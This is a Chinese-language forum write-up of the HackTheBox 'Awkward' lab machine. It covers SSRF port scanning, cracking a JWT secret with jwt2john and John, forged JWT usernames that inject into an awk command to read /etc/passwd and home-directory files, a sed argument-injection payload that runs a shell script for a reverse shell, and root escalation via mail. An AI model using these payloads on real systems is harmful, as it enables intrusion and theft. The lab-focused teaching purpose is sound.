-
-
[原创]HTB Awkward (MEDIUM)
-
发表于: 2023-1-26 20:15 1871
-
上来还是信息收集,扫端口扫域名,扫目录
还是只开了22和80
扫目录发现的东西还挺多
域名扫出来一个store
需要账号密码
访问首页
发现有很多js文件,查看下有没有可用的信息
在app.js中发现/hr的链接
登陆下/hr看看有啥
登陆界面发现cookie是guest,改成admin试试
刷新页面更改,发现还是不行
改用火狐插件cookie editor
看看数据是从哪里来的
得到/api/store-status 和 /api/staff-details
http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22
从details得到一个JsonWebTokenError
删掉 cookie后 获得内容
有username和password 的hash尝试找网站解一下
"username":"christopher.jones","password":"chris123"
用它来登陆下/hr
这样我们就获得了他的jwt token
使用工具 jwt2john.py 和 John 破解 jwt 令牌
获得secret 123beany123
前面我们看的请求指向 store.hat-valley.htb
尝试使用SSRF来扫下服务器的其他端口
发现80,3002,8080
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22
查看源码可以看到We're sorry but hat-valley doesn't work properly without JavaScript enabled. Please enable it to continue.
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22
3002给了api的 实现
all-leave中存在一个本地文件包漏洞
我们可以利用JWT token username
尝试传/' /etc/passwd '
使用jwt.io来生成更改后的jwt token
先请求api/all-leave,在bp中复制token到jwt.io,后更改username和secret
得到 两个用户 bean 和christine
在前面获取到username和passwd hash的时候可以 看的Bean.Hill是网站管理员
查看bean的/home/bean/.bashrc
看的 backup_home,去看一下文件内容
里面有个文件bean_backup_final.tar.gz,下载下来看看
/home/bean/Documents/backup/bean_backup_final.tar.gz
这里有一句重要的MAKE SURE TO USE THIS EVERYWHERE
获得账户密码,ssh连上
username: bean
password: 014mrbeanrules!#P
得到user flag
在/etc/nginx/conf.d下找到加密后的密码
尝试用bean账号密码失败,用admin和bean的密码成功 登录
我们可以在 /var/www/store找到站点的源码
阅读readme
站点没有使用 数据库,用文件存储的
/product-details存储产品的详细信息
/cart存储用户购物车
有物品被添加到 购物车,就会在cart目录下新建个文件
也可以看到目录下运行的具有root权限,新建文件权限为www-data
查看cart-action.php
使用sed命令删除cart文件数据,这里存在rce
具体可见https://gtfobins.github.io/gtfobins/sed/
构造payload
在tmp目录下写shell
chmod +x /tmp/shell.sh
之后给权限
直接住bp里更改 会得到error
我们也没有 编辑权限,先删掉再新建名字一样的文件
开启监听后,打开bp修改购物车中删除
item=1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'&user=430a-03c0-353-0ea2&action=delete_item
上线,拿到www-data用户权限了
使用 pspy进行信息收集
可以看到inotifywait正在监控一个叫做leave_requests.csvinside的文件
像文件中添加内容发现它以root权限使用mail命令
把我们的shell填进去
具体可见
https://gtfobins.github.io/gtfobins/mail/
拿到root
参考链接:https://0xdedinfosec.vercel.app/blog/hackthebox-awkward-writeup
{\n href: \
"/hr\"
,\n onClick: _cache[
0
] || (_cache[
0
]
=
function () {\n
return
$options.logout && $options.logout.
apply
($options, arguments);\n })\n
{\n href: \
"/hr\"
,\n onClick: _cache[
0
] || (_cache[
0
]
=
function () {\n
return
$options.logout && $options.logout.
apply
($options, arguments);\n })\n
"christopher.jones"
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
chris123
"christopher.jones"
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
chris123
#!/usr/bin/env python3
import
sys
from
jwt.utils
import
base64url_decode
from
binascii
import
hexlify
def
jwt2john(jwt):
"""
Convert signature from base64 to hex, and separate it from the data by a #
so that John can parse it.
"""
jwt_bytes
=
jwt.encode(
'ascii'
)
parts
=
jwt_bytes.split(b
'.'
)
data
=
parts[
0
]
+
b
'.'
+
parts[
1
]
signature
=
hexlify(base64url_decode(parts[
2
]))
return
(data
+
b
'#'
+
signature).decode(
'ascii'
)
if
__name__
=
=
"__main__"
:
if
len
(sys.argv) !
=
2
:
print
(
"Usage: %s JWT"
%
sys.argv[
0
])
else
:
john
=
jwt2john(sys.argv[
1
])
print
(john)
#!/usr/bin/env python3
import
sys
from
jwt.utils
import
base64url_decode
from
binascii
import
hexlify
def
jwt2john(jwt):
"""
Convert signature from base64 to hex, and separate it from the data by a #
so that John can parse it.
"""
jwt_bytes
=
jwt.encode(
'ascii'
)
parts
=
jwt_bytes.split(b
'.'
)
data
=
parts[
0
]
+
b
'.'
+
parts[
1
]
signature
=
hexlify(base64url_decode(parts[
2
]))
return
(data
+
b
'#'
+
signature).decode(
'ascii'
)
if
__name__
=
=
"__main__"
:
if
len
(sys.argv) !
=
2
:
print
(
"Usage: %s JWT"
%
sys.argv[
0
])
else
:
john
=
jwt2john(sys.argv[
1
])
print
(john)
python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
john
-
w
=
/
home
/
hml189
/
Desktop
/
wordlist
/
rockyou.txt jwt_hash
python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
john
-
w
=
/
home
/
hml189
/
Desktop
/
wordlist
/
rockyou.txt jwt_hash
app.get(
'/api/all-leave'
, (req, res)
=
> {
const user_token
=
req.cookies.token
var authFailed
=
false
var user
=
null
if
(user_token) {
const decodedToken
=
jwt.verify(user_token, TOKEN_SECRET)
if
(!decodedToken.username) {
authFailed
=
true
}
else
{
user
=
decodedToken.username
}
}
if
(authFailed) {
return
res.status(
401
).json({Error:
"Invalid Token"
})
}
if
(!user) {
return
res.status(
500
).send(
"Invalid user"
)
}
const bad
=
[
";"
,
"&"
,
"|"
,
">"
,
"<"
,
"*"
,
"?"
,
"`"
,
"$"
,
"("
,
")"
,
"{"
,
"}"
,
"["
,
"]"
,
"!"
,
"#"
]
const badInUser
=
bad.some(char
=
> user.includes(char));
if
(badInUser) {
return
res.status(
500
).send(
"Bad character detected."
)
}
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}, (error, stdout, stderr)
=
> {
if
(stdout) {
return
res.status(
200
).send(new
Buffer
(stdout,
'binary'
));
}
if
(error) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
if
(stderr) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
})
})
app.get(
'/api/all-leave'
, (req, res)
=
> {
const user_token
=
req.cookies.token
var authFailed
=
false
var user
=
null
if
(user_token) {
const decodedToken
=
jwt.verify(user_token, TOKEN_SECRET)
if
(!decodedToken.username) {
authFailed
=
true
}
else
{
user
=
decodedToken.username
}
}
if
(authFailed) {
return
res.status(
401
).json({Error:
"Invalid Token"
})
}
if
(!user) {
return
res.status(
500
).send(
"Invalid user"
)
}
const bad
=
[
";"
,
"&"
,
"|"
,
">"
,
"<"
,
"*"
,
"?"
,
"`"
,
"$"
,
"("
,
")"
,
"{"
,
"}"
,
"["
,
"]"
,
"!"
,
"#"
]
const badInUser
=
bad.some(char
=
> user.includes(char));
if
(badInUser) {
return
res.status(
500
).send(
"Bad character detected."
)
}
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}, (error, stdout, stderr)
=
> {
if
(stdout) {
return
res.status(
200
).send(new
Buffer
(stdout,
'binary'
));
}
if
(error) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
if
(stderr) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
})
})
user
=
decodedToken.username
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}
user
=
decodedToken.username
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}
user
=
/
' /etc/passwd '
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
)
user
=
/
' /etc/passwd '
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
)
{
"username"
:
"/' /home/bean/.bashrc '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/.bashrc '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/Documents/backup_home.sh '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/Documents/backup_home.sh '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/Documents/backup/bean_backup_final.tar.gz '"
,
"iat"
:
1674721523
}
curl http:
/
/
hat
-
valley.htb
/
api
/
all
-
leave
-
-
header
"Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NDcyMTUyM30.3Ah1cku0QrDMIvdth_mCIkCxuoAsvVe2Vrvy-DwHSfE"
-
-
output bean_backup_final.
zip
{
"username"
:
"/' /home/bean/Documents/backup/bean_backup_final.tar.gz '"
,
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!